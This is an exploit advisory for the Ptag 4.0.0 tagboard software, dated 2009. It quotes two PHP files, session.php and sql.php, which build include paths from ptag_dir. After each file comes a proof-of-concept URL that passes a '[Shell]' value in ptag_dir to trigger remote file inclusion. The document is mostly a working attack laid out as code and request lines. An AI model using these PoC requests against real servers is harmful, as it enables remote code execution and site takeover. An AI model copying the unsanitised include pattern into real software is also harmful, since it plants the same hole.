##################################################################
## Exploit Title: Ptag <= 4.0.0 Multiple RFI Exploit ##
## Date: 19-12-2009 ##
## Author: cr4wl3r ##
## Software Link: http://sourceforge.net/projects/ptag/ ##
## Version: N/A ##
## Tested on: GNU/LINUX ##
##################################################################
~ Code [session.php]
<?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Session handling File
require_once(ptag_dir."lib/php/crossSession.php");
class ptag_session extends crossSession{
public function __construct(){
global $ptag_sql;
$this -> sql_table = ptag_prefix."session";
$this -> cookie_name = ptag_prefix."session";
//If RSS mode, switch session to non-viewed tracker.
if (ptag_output == "rss"){
parent::__construct($ptag_sql, sha1(""));
}
else{
parent::__construct($ptag_sql);
}
}
}
?>
~ PoC
[Ptag_path]/lib/session.php?ptag_dir=[Shell]
~ Code [sql.php]
<?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Extending MySQL class
require_once(ptag_dir."lib/php/ezmySQL.php");
class ptag_sql extends ezmySQL{
public function __construct(){
parent::__construct(ptag_mysql_host, ptag_mysql_user, ptag_mysql_pass, ptag_mysql_db);
}
protected function error_handler($err){
$error = "A MySQL error has occured: (".$err["errno"].") ".$err["error"]." when executing the query: ".$err["query"];
return ptag_exception::handle_error($error, $err["line"], $err["file"], $err["class"], $err["method"]);
}
}
?>
~ PoC
[Ptag_path]/lib/sql.php?ptag_dir=[Shell]